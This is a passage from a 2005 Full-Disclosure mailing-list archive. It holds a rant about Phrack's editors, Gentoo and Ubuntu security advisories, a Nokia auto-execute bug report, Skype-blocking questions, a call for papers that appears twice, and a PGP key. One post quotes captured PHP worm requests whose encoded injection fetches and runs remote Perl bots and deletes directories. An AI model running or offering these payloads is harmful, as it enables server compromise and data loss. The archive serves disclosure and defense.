school when we hungered for steak... the bits of meat that you did let
slip through were pre-chewed and tasteless. We've been dominated by
sadists, or ignored by the apathetic. The few that had something to
teach found us willing pupils, but those few are like drops of water
in the desert.
...
Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.
"

-- A hacker's manifesto, the Mentor, 1986

The current "anonymous" batch editors have outgrown the zine. They were a bad choice to begin with, but regardless, that's happened to phrack before. On a regular basis. Every generation or so passes on phrack to the next. It's tradition.

What's different about the current batch of editors was their intense arrogance and unusualy patronizing attitude towards the scene. Phrack hasn't been about the computer underground for years. The last ten years have turned Phrack into a prestigious journal for security research. 

The anarchistic underground roots of phrack have been whitewashed away by the latest batch of editors. Go and read the issues from 1980s, early 90s.

The reason this happened was that when the scene moved to the Internet in the mid 90s the MIT hacker memes battled it out against "war games" hacker meme of the 80s. Hacker still has an 80s meaning for the general public, but the MIT hacker meme clearly won amongst the technically savy. The "cracker" and "script kiddy" memes were part of a process that turned Phrack's underground past into an embarrassment.

So Phrack gradually turned against it's own roots.  It's not for the hacker community by the hacker community anymore. Far from it. The current incarnation of Phrack actually spreads hypocritical anti-hacker memes between it's covers. It's BY $150-an-hour-security-consultants FOR our-reputation-in-the-security-industry.

Phrack has been hijacked by sellouts.

Aside from their snobbish elitist attitude, what have the recent editors of Phrack contributed? The articles are written by others. Try reading the "loopback" section written by the Phrack editors sometime. Degrading newbies never gets old for these guys. Ha ha! you're all so stupid! We're so uber elite!

So now what's happened is that these guys are so old school, so been-there-done-that, patronizing assholes that they've decided it's time for Phrack to die rather than evolve.

Here's an alternative to killing off a 20 year tradition: run a competition amongst would-be editors who can publish the best next issue of phrack. Then allow the PUBLIC to vote amongst alternatives as to whom succeeds the current editors.

The team that manages to hack together the best edition of phrack 64 wins.

Phrack is dead. Long live phrack!



From stfunub at gmail.com  Sun Jan 23 15:42:21 2005
From: stfunub at gmail.com (Andrew Smith)
Date: Sun, 23 Jan 2005 15:42:21 +0000
Subject: [Full-Disclosure] PHP Worms
Message-ID: <33713abc050123074237c24efb@mail.gmail.com>

I thought these had stopped?
I'm still seeing thousands of them each day:

"GET/read100.php&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20killall%20-9%20perl;cd%20/tmp;mkdir%20.temp22;cd%20.temp22;wget%20http://www.abcft.org/themes/bot.htm;wget%20http://http://weblicious.com/.notes/ssh2.htm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.htm;rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';

* 20

"GET /read100.php&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;%20rm%20-rf%20*;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;cd%20/var/tmp/;rm%20-rf%20*;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;cd%20/var/spool/mail/;rm%20-rf%20*;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;cd%20/var/mail/;rm%20-rf%20*;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;cd%20%20/usr/local/apache/proxy/;rm%20-rf%20*;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2065.75.133.131/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527

* 3

"GET /read100.php&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;mkdir%20.temp22;cd%20.temp22;wget%20http://www.quasi-sane.com/pics/bot.htm;wget%20http://weblicious.com/.notes/ssh2.htm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.htm;rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';

* 1500

(just from today)

They seem to be getting promptly deleted from the host server (i'm yet
to find a live one) but I was under the impression that the initial
burst was over?


-- 
zxy_rbt2



From lewk at gentoo.org  Sun Jan 23 22:09:27 2005
From: lewk at gentoo.org (Luke Macken)
Date: Sun, 23 Jan 2005 17:09:27 -0500
Subject: [Full-Disclosure] [ GLSA 200501-33 ] MySQL: Insecure temporary file
	creation
Message-ID: <20050123220927.GA32288@tomservo.ne1.client2.attbi.c>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-33
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: MySQL: Insecure temporary file creation
      Date: January 23, 2005
      Bugs: #77805
        ID: 200501-33

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

MySQL is vulnerable to symlink attacks, potentially allowing a local
user to overwrite arbitrary files.

Background
==========

MySQL is a fast, multi-threaded, multi-user SQL database server.

Affected packages
=================

    -------------------------------------------------------------------
     Package       /   Vulnerable   /                       Unaffected
    -------------------------------------------------------------------
  1  dev-db/mysql      < 4.0.22-r2                        >= 4.0.22-r2

Description
===========

Javier Fernandez-Sanguino Pena from the Debian Security Audit Project
discovered that the 'mysqlaccess' script creates temporary files in
world-writeable directories with predictable names.

Impact
======

A local attacker could create symbolic links in the temporary files
directory, pointing to a valid file somewhere on the filesystem. When
the mysqlaccess script is executed, this would result in the file being
overwritten with the rights of the user running the software, which
could be the root user.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All MySQL users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=dev-db/mysql-4.0.22-r2"

References
==========

  [ 1 ] CAN-2005-0004
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0004
  [ 2 ] Secunia Advisory SA13867
        http://secunia.com/advisories/13867/

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-33.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050123/9280f048/attachment.bin 

From Valdis.Kletnieks at vt.edu  Mon Jan 24 00:28:41 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Sun, 23 Jan 2005 19:28:41 -0500
Subject: [Full-Disclosure] PHP Worms 
In-Reply-To: Your message of "Sun, 23 Jan 2005 15:42:21 GMT."
	<33713abc050123074237c24efb@mail.gmail.com> 
References: <33713abc050123074237c24efb@mail.gmail.com>
Message-ID: <200501240028.j0O0Sf5a004666@turing-police.cc.vt.edu>

On Sun, 23 Jan 2005 15:42:21 GMT, Andrew Smith said:
> I thought these had stopped?
> I'm still seeing thousands of them each day:

Obviously, there's still enough *still* unpatched servers out there to
sustain some worm activity.

Wait long enough and you'll even see the occasional Code Red packet go by.


-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050123/9ef801c8/attachment.bin 

From alain at ait.ac.th  Mon Jan 24 08:57:44 2005
From: alain at ait.ac.th (Alain Fauconnet)
Date: Mon, 24 Jan 2005 15:57:44 +0700
Subject: [Full-Disclosure] blocking SkyPE?
Message-ID: <20050124085744.GC26105@ait.ac.th>

Hello list,

This may be a bit borderline topic. Feel free to redirect me to a more
appropriate place for this discussion if you know one.

I need to block SkyPE at the border of our network for many reasons.
It's not an easy task. The following paper:

http://www1.cs.columbia.edu/~library/TR-repository/reports/reports-2004/cucs-039-04.pdf

gives a lot of insight to the protocol. This stuff has been obviously
engineered to bypass any port-based or IP-based blocks and L7 protocol
identification. The folks of L7-filter have a pattern at
http://l7-filter.sourceforge.net/layer7-protocols/protocols/skype.pat
but it's classified as having 'marginal' effectiveness.

Based on the paper mentioned above, the weak point might be the direct
connection to the SkyPE login servers, but in my observation, login
process seems to possibly take place through supernodes as well in
recent versions.

Has anyone worked on this? Googling doesn't return much useful.

Greets,
_Alain_


From rohit at kritikalsolutions.com  Mon Jan 24 05:01:08 2005
From: rohit at kritikalsolutions.com (rohit at kritikalsolutions.com)
Date: Mon, 24 Jan 2005 10:31:08 +0530 (IST)
Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute
 received files in Nokia series 60 OS
Message-ID: <3014.203.190.133.11.1106542868.squirrel@203.190.133.11>

Hi,
 I forwarded this bug to Nokia security group, they believe it is a
feature and not a bug. Whats your opinion?
>>>
1. By default, executable files cannot be transferred (many mobile game
companies probably earn their bread because games are not transferrable
from one phone to the next). But if you rename the file (install file) to
any extension such as jpg or an unknown extension, it can be transferred!
So if i need to transfer a virus, all i need to do is rename the file to
some jpg extension and and transfer it!

2. When series 60 OS receives such a file, it executes it immediately. For
example, in case a MMS message comes with a picture or an installer
attachment, Nokia would immediately start running the attachment. This is
a major design flaw.
Imagine a virus, renamed as a .jpg (mobile wall paper) is downloaded by
users on p2p networks or from a website or can come from a friend. Virus
installs  itself and than shows a jpg file, so user does not suspect
anything, while he is now infected. This is than sent to everyone in the
address book, who again just see the wall paper after a prompt, while the
virus has installed itself.

The first problem can be used to exchange mobile games and ring tones for
free. When you try to transfer the same without renaming, the OS does not
allow transferring them.
Thanks
Rohit Dube
New Delhi.

Nokia response to both the problems follows:

Hi Rohit,

Sorry for the delay answering back to you.

About your findings, the first one with sending files after changing the
extension is a known limitation of the current implementation. We also
implement OMA DRM 2 which will work as expected in such situations.

The second one is also know feature, the file type is not determinated
from the extension but from the content of the file. So a sis package
renamed to an jpeg file still looks from the inside as a sis package and
so the user is prompted for installation.


Thank you again for your report.

tatu


> -----Original Message-----
> From: ext rohit at kritikalsolutions.com
> [mailto:rohit at kritikalsolutions.com]
> Sent: Tuesday, January 18, 2005 04:17
> To: Mannisto Tatu (Nokia-TP-PST/Tampere); Ahlberg Janne
> (Nokia-M/Tampere)
> Subject: RE: series 60 os auto executes files
>
>
> Hi Tatu, Janne,
>  Any information on this vulnerability? Can you please confirm your
> findings and send me an update on when should I/we disclose it?
> Thanks
> Rohit
>



From Marc.Heuse at nruns.com  Mon Jan 24 11:00:12 2005
From: Marc.Heuse at nruns.com (Marc Heuse)
Date: Mon, 24 Jan 2005 12:00:12 +0100
Subject: [Full-Disclosure] DIMVA 2005 - Final Call for Papers
Message-ID: <E1Ct1yZ-0005Od-00@mrelayng.kundenserver.de>

Our appologies for multiple copies of this announcement.

Due to multiple requests for a deadline extension, we decided
to extended the submission deadline for full and industry
papers to Friday, February 11th, 2005.

----------------------------------------------------------------------------

                         FINAL CALL FOR PAPERS

          * * * *  EXTENDED DEADLINE: FEBRUARY 11th, 2005  * * * *


                               DIMVA 2005

                   Second GI SIG SIDAR Conference on
     Detection of Intrusions & Malware, and Vulnerability Assessment
    In Cooperation with the IEEE Task Force on Information Assurance

                            Vienna, Austria
                           July 7 - 8, 2005

                     http://www.dimva.org/dimva2005
                         mailto:info at dimva.org

----------------------------------------------------------------------------

The special interest group Security - Intrusion Detection and Response
(SIDAR) of the German Informatics Society (GI) organizes DIMVA as an
annual conference that brings together experts from throughout Europe
to discuss the state of the art in the areas of intrusion detection,
detection of malware, and assessment of vulnerabilities. DIMVA
emphasizes the collaboration and exchange of ideas between industry,
academia, law enforcement and government, and invites four types of
submissions:

- Full papers of up to 6000 words, presenting novel and mature research
  results. Full papers will be reviewed, and papers accepted for
  presentation at the conference will be included in the proceedings,
  which are planned to appear in Springer?s Lecture Notes in Computer
  Science (LNCS) series.

- Industry papers of up to 2000 words, describing best practices,
  case studies, lessons learned, or latest product developments.
  Industry papers will be reviewed and, if accepted for presentation
  at the conference, will be published at the DIMVA 2005 Web site.

- Panel proposals for the discussion of hot topics in the areas of
  intrusion detection, malware, or vulnerability assessment. Panel
  proposals should include a short rationale for the panel, a
  description of the proposed panel format, and names of panelists.

- Proposals of two-to-three-hour tutorials on topics of current or
  emerging interest. Tutorial proposals must not exceed three pages.
  They must clearly identify the intended audience, include a brief
  biography of the speaker, and contain enough material to provide
  a sense of their scope and depth. Tutorial material will be
  published on the DIMVA 2005 Web site.

The scope of DIMVA is broad and includes, but is not restricted to
the following areas:

Intrusion detection:
- Novel intrusion detection and correlation techniques such as alert
  fusion or honey pots
- Intrusion detection in special environments such as control systems
  or mobile networks
- Assessment, testing, and benchmarking of intrusion detection systems
- Automated response systems and intrusion prevention systems
- Incident management and response, response team cooperation, and
  legal issues

Malware:
- Detection and prevention of viruses, worms, Trojan horses, and
  other forms of malware
- Malware trends and statistics
- Techniques used to increase the harmfulness of malware
- Detailed analysis and discussion of the latest malware as well as
  computer and network forensics in general

Vulnerability assessment:
- New reverse engineering techniques
- Circumvention of security mechanisms such as bypassing of buffer
  overflow protection
- Risk evaluation and weighing, ROI on vulnerability assessments and
  management
- Software development, testing, and verification methodologies for
  IT-security

DIMVA specifically encourages interdisciplinary papers that combine
elements from all three main areas, as well as papers from other
communities such as machine learning, law, crime detection and
investigation, or economics that present these communities?
perspectives on and contributions to the above IT security issues.


ORGANIZING COMMITTEE:
General Chair : Christopher Kruegel (Technical University Vienna,
                Austria, chris at cs.ucsb.edu)
Academic Chair: Klaus Julisch (IBM Research, Switzerland,
                dimva-chair at zurich.ibm.com)
Industry Chair: Marc Heuse (n.runs, Germany, marc.heuse at nruns.com)
Sponsor Chair : Werner Metterhausen (VZM GmbH, Germany, wme at vzm.de)


PROGRAM COMMITTEE:
Dominique Alessandri, IBM, Switzerland
Thomas Biege, SUSE LINUX AG, Germany
Roland B?schkes, T-Mobile, Germany
Marc Dacier, Institut Eur?com, France
Herve Debar, France Telecom R&D, France
Luca Deri, ntop.org, Italy
Sven Dietrich, CMU, USA
Toralv Dirro, McAfee, Germany
Ulrich Flegel, University of Dortmund, Germany
Steven Furnell, University of Plymouth, UK
Detlef G?nther, CERT-VW, Germany
Dirk H?ger, BSI, Germany
Bernhard H?mmerli, HTA Luzern, Switzerland
Oliver Heinz, arago AG, Germany
Peter Herrmann, University of Dortmund, Germany
Marc Heuse, n.runs, Germany
Erland Jonsson, Chalmers University of Technology, Sweden
Engin Kirda, Technical University Vienna, Austria
Hartmut K?nig, Technical University of Cottbus, Germany
Klaus-Peter Kossakowski, Presecure, Germany
Hannes Lubich, Computer Associates, Switzerland
Michael Meier, Technical University of Cottbus, Germany
Martin Naedele, ABB Corporate Research, Switzerland
Marc Rennhard, ETH Zurich, Switzerland
Dirk Schadt, Computer Associates, Germany
Robin Sommer, TU M?nchen, Germany
Axel Tanner, IBM Research, Switzerland
Stephen Wolthusen, Fraunhofer-IGD, Germany


IMPORTANT DATES:
- FEBRUARY 11, 2005: Deadline for submission of full and industry
  papers. (** EXTENDED DEADLINE !!! **)
- March 4, 2005 : Deadline for submission of panel and tutorial
  proposals.
- March 21, 2005 : Notification of acceptance or rejection.
- April 8, 2005 : Final paper camera ready copy due.
- July 7 - 8, 2005: DIMVA conference.


PAPER SUBMISSIONS AND CONFERENCE REGISTRATION:
Submitted full papers must not substantially overlap papers that have
been published or that are simultaneously submitted to a journal or a
conference with proceedings. Full papers must include an abstract, a
list of keywords, and a list of all authors and their affiliations.
Committee members are not required to read appendices; thus, papers
should be intelligible without them.

Submissions must be in English, and in either postscript or PDF format.
Authors of accepted papers must guarantee that their papers will be
presented at the conference. Plan to give presentations, panels, and
tutorials in English.

Authors are invited to submit their papers electronically. Details on
the electronic submission procedure as well as detailed registration
information (including fees, suggested hotels, and travel directions)
will be provided by end of December 2004 at the conference Web site at
http://www.dimva.org/dimva2005.


SPONSORSHIP OPPORTUNITIES:
We solicit interested organizations to serve as sponsors for DIMVA
2005; please contact the Sponsor Chair, Mr. Werner Metterhausen, for
information regarding corporate sponsorship (mailto: wme at vzm.de).


STEERING COMMITTEE:
Chairs: Ulrich Flegel (University of Dortmund, Germany),
        Michael Meier (Technical University of Cottbus, Germany)
        Roland B?schkes (T-Mobile, Germany),
        Marc Heuse (n.runs, Germany)





From Marc.Heuse at nruns.com  Mon Jan 24 11:00:12 2005
From: Marc.Heuse at nruns.com (Marc Heuse)
Date: Mon, 24 Jan 2005 12:00:12 +0100
Subject: [Full-Disclosure] DIMVA 2005 - Final Call for Papers
Message-ID: <E1Ct1yv-0005Od-00@mrelayng.kundenserver.de>

Our appologies for multiple copies of this announcement.

Due to multiple requests for a deadline extension, we decided
to extended the submission deadline for full and industry
papers to Friday, February 11th, 2005.

----------------------------------------------------------------------------

                         FINAL CALL FOR PAPERS

          * * * *  EXTENDED DEADLINE: FEBRUARY 11th, 2005  * * * *


                               DIMVA 2005

                   Second GI SIG SIDAR Conference on
     Detection of Intrusions & Malware, and Vulnerability Assessment
    In Cooperation with the IEEE Task Force on Information Assurance

                            Vienna, Austria
                           July 7 - 8, 2005

                     http://www.dimva.org/dimva2005
                         mailto:info at dimva.org

----------------------------------------------------------------------------

The special interest group Security - Intrusion Detection and Response
(SIDAR) of the German Informatics Society (GI) organizes DIMVA as an
annual conference that brings together experts from throughout Europe
to discuss the state of the art in the areas of intrusion detection,
detection of malware, and assessment of vulnerabilities. DIMVA
emphasizes the collaboration and exchange of ideas between industry,
academia, law enforcement and government, and invites four types of
submissions:

- Full papers of up to 6000 words, presenting novel and mature research
  results. Full papers will be reviewed, and papers accepted for
  presentation at the conference will be included in the proceedings,
  which are planned to appear in Springer?s Lecture Notes in Computer
  Science (LNCS) series.

- Industry papers of up to 2000 words, describing best practices,
  case studies, lessons learned, or latest product developments.
  Industry papers will be reviewed and, if accepted for presentation
  at the conference, will be published at the DIMVA 2005 Web site.

- Panel proposals for the discussion of hot topics in the areas of
  intrusion detection, malware, or vulnerability assessment. Panel
  proposals should include a short rationale for the panel, a
  description of the proposed panel format, and names of panelists.

- Proposals of two-to-three-hour tutorials on topics of current or
  emerging interest. Tutorial proposals must not exceed three pages.
  They must clearly identify the intended audience, include a brief
  biography of the speaker, and contain enough material to provide
  a sense of their scope and depth. Tutorial material will be
  published on the DIMVA 2005 Web site.

The scope of DIMVA is broad and includes, but is not restricted to
the following areas:

Intrusion detection:
- Novel intrusion detection and correlation techniques such as alert
  fusion or honey pots
- Intrusion detection in special environments such as control systems
  or mobile networks
- Assessment, testing, and benchmarking of intrusion detection systems
- Automated response systems and intrusion prevention systems
- Incident management and response, response team cooperation, and
  legal issues

Malware:
- Detection and prevention of viruses, worms, Trojan horses, and
  other forms of malware
- Malware trends and statistics
- Techniques used to increase the harmfulness of malware
- Detailed analysis and discussion of the latest malware as well as
  computer and network forensics in general

Vulnerability assessment:
- New reverse engineering techniques
- Circumvention of security mechanisms such as bypassing of buffer
  overflow protection
- Risk evaluation and weighing, ROI on vulnerability assessments and
  management
- Software development, testing, and verification methodologies for
  IT-security

DIMVA specifically encourages interdisciplinary papers that combine
elements from all three main areas, as well as papers from other
communities such as machine learning, law, crime detection and
investigation, or economics that present these communities?
perspectives on and contributions to the above IT security issues.


ORGANIZING COMMITTEE:
General Chair : Christopher Kruegel (Technical University Vienna,
                Austria, chris at cs.ucsb.edu)
Academic Chair: Klaus Julisch (IBM Research, Switzerland,
                dimva-chair at zurich.ibm.com)
Industry Chair: Marc Heuse (n.runs, Germany, marc.heuse at nruns.com)
Sponsor Chair : Werner Metterhausen (VZM GmbH, Germany, wme at vzm.de)


PROGRAM COMMITTEE:
Dominique Alessandri, IBM, Switzerland
Thomas Biege, SUSE LINUX AG, Germany
Roland B?schkes, T-Mobile, Germany
Marc Dacier, Institut Eur?com, France
Herve Debar, France Telecom R&D, France
Luca Deri, ntop.org, Italy
Sven Dietrich, CMU, USA
Toralv Dirro, McAfee, Germany
Ulrich Flegel, University of Dortmund, Germany
Steven Furnell, University of Plymouth, UK
Detlef G?nther, CERT-VW, Germany
Dirk H?ger, BSI, Germany
Bernhard H?mmerli, HTA Luzern, Switzerland
Oliver Heinz, arago AG, Germany
Peter Herrmann, University of Dortmund, Germany
Marc Heuse, n.runs, Germany
Erland Jonsson, Chalmers University of Technology, Sweden
Engin Kirda, Technical University Vienna, Austria
Hartmut K?nig, Technical University of Cottbus, Germany
Klaus-Peter Kossakowski, Presecure, Germany
Hannes Lubich, Computer Associates, Switzerland
Michael Meier, Technical University of Cottbus, Germany
Martin Naedele, ABB Corporate Research, Switzerland
Marc Rennhard, ETH Zurich, Switzerland
Dirk Schadt, Computer Associates, Germany
Robin Sommer, TU M?nchen, Germany
Axel Tanner, IBM Research, Switzerland
Stephen Wolthusen, Fraunhofer-IGD, Germany


IMPORTANT DATES:
- FEBRUARY 11, 2005: Deadline for submission of full and industry
  papers. (** EXTENDED DEADLINE !!! **)
- March 4, 2005 : Deadline for submission of panel and tutorial
  proposals.
- March 21, 2005 : Notification of acceptance or rejection.
- April 8, 2005 : Final paper camera ready copy due.
- July 7 - 8, 2005: DIMVA conference.


PAPER SUBMISSIONS AND CONFERENCE REGISTRATION:
Submitted full papers must not substantially overlap papers that have
been published or that are simultaneously submitted to a journal or a
conference with proceedings. Full papers must include an abstract, a
list of keywords, and a list of all authors and their affiliations.
Committee members are not required to read appendices; thus, papers
should be intelligible without them.

Submissions must be in English, and in either postscript or PDF format.
Authors of accepted papers must guarantee that their papers will be
presented at the conference. Plan to give presentations, panels, and
tutorials in English.

Authors are invited to submit their papers electronically. Details on
the electronic submission procedure as well as detailed registration
information (including fees, suggested hotels, and travel directions)
will be provided by end of December 2004 at the conference Web site at
http://www.dimva.org/dimva2005.


SPONSORSHIP OPPORTUNITIES:
We solicit interested organizations to serve as sponsors for DIMVA
2005; please contact the Sponsor Chair, Mr. Werner Metterhausen, for
information regarding corporate sponsorship (mailto: wme at vzm.de).


STEERING COMMITTEE:
Chairs: Ulrich Flegel (University of Dortmund, Germany),
        Michael Meier (Technical University of Cottbus, Germany)
        Roland B?schkes (T-Mobile, Germany),
        Marc Heuse (n.runs, Germany)





From martin.pitt at canonical.com  Mon Jan 24 12:13:49 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Mon, 24 Jan 2005 13:13:49 +0100
Subject: [Full-Disclosure] [USN-68-1] enscript vulnerabilities
Message-ID: <20050124121349.GA28337@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-68-1		   January 24, 2005
enscript vulnerabilities
CAN-2004-1184 CAN-2004-1185 CAN-2004-1186
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

enscript

The problem can be corrected by upgrading the affected package to
version 1.6.4-4ubuntu0.1. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Erik Sj?lund discovered several vulnerabilities in enscript which
could cause arbitrary code execution with the privileges of the user
calling enscript.

Quotes and other shell escape characters in titles and file names were
not handled in previous versions. (CAN-2004-1184)

Previous versions supported reading EPS data not only from a file, but
also from an arbitrary command pipe. Since checking for unwanted side
effects is infeasible, this feature has been disabled after
consultation with the authors of enscript. (CAN-2004-1185)

Finally, this update fixes two buffer overflows which were triggered by
certain input files. (CAN-2004-1186)

These issues can lead to privilege escalation if enscript is called
automatically from web server applications like viewcvs.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/universe/e/enscript/enscript_1.6.4-4ubuntu0.1.diff.gz
      Size/MD5:    15036 d6c873e923c34c39cc144030efc83dd5
    http://security.ubuntu.com/ubuntu/pool/universe/e/enscript/enscript_1.6.4-4ubuntu0.1.dsc
      Size/MD5:      628 711d7f5bbf6018fe56f386a37cfb93ed
    http://security.ubuntu.com/ubuntu/pool/universe/e/enscript/enscript_1.6.4.orig.tar.gz
      Size/MD5:  1036734 b5174b59e4a050fb462af5dbf28ebba3

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/universe/e/enscript/enscript_1.6.4-4ubuntu0.1_amd64.deb
      Size/MD5:   482748 5115fde125c8b21aabb0e381ad3d82a8

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/universe/e/enscript/enscript_1.6.4-4ubuntu0.1_i386.deb
      Size/MD5:   468824 88d3ae70ced661d02fdbd93178ca4d35

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/universe/e/enscript/enscript_1.6.4-4ubuntu0.1_powerpc.deb
      Size/MD5:   481268 b55c45bcf7cf0a941fb2021a0f8073de
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050124/b7dadb95/attachment.bin 

From carlos.ulver at gmail.com  Mon Jan 24 13:47:11 2005
From: carlos.ulver at gmail.com (Carlos Ulver)
Date: Mon, 24 Jan 2005 11:47:11 -0200
Subject: [Full-Disclosure] New PGP key
Message-ID: <10c6adab050124054775cf24b7@mail.gmail.com>

Hello to all. I had some problems with my old PGP key that is revoked now.
I?m sending my new key.
Thanks.
Carlos A. Ulver


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 8.0.2 - not licensed for commercial use: www.pgp.com

mQGiBEH0+e4RBADI9kU3FrR9B+oONBpUVPwPwQ3QpKk/DzDl5KaB/qH1507X81Yl
JVj5hjmqEZp62ojKMwBef72J6S7zDi5x0l8Y5RMgBU1hqw3fCHnZ/HEQFbrXg3W0
fv5bEzOLZ5kK33CFU3VJ/ZKnTokuALNKqjN1zj1VkcDsAdf0p5YfnMFExwCg/8Tc
SU7ULAVaVRzHnrUx9qy15XMD/jV1XwqpaakBDJ4I6GWb8y1U5LseTogqdVAT+kPo
SBe05phLRfhsbXzmqWe3MzbvoKVAk+om0E4I0OKCtBCBmfejF39KKw9R0lRLZsq5
qzbZ72im/zKz9dE7Ot1mxuod/K+l5UL4sSSjpSYQeUFW1MyLaLfg/bqNfIGLdZ70
IikcA/9sVIt5HW2j38pADzaUZNerZEJGN9EKLuRcenXbdWSlPgLA5qnu1nGqxxQY
T3h1wsCzcr4T9Bs1Co3gI6C8XBpbF6kIdFeTUKf/1t4jFAzU1/bkr9m77uD93tgC
itBX7RxVe3jf+rEnuC64PshWU3oGqVJ23P8AzHLMZZsrq2bolLQtQ2FybG9zIEF1
Z3VzdG8gVWx2ZXIgPGNhcmxvcy51bHZlckBnbWFpbC5jb20+iQBXBBARAgAXBQJB
9PnuBwsJCAcDAgoCGQEFGwMAAAAACgkQRk6XdqqKP+vruQCfYr5vsmjt4zV+hqM1
JBkucJILDs0AoOaCfKPVqY/dgCvqmWP76qnvHNnwuQINBEH0+e4QCAD2Qle3CH8I
F3KiutapQvMF6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33TGSGSfgM
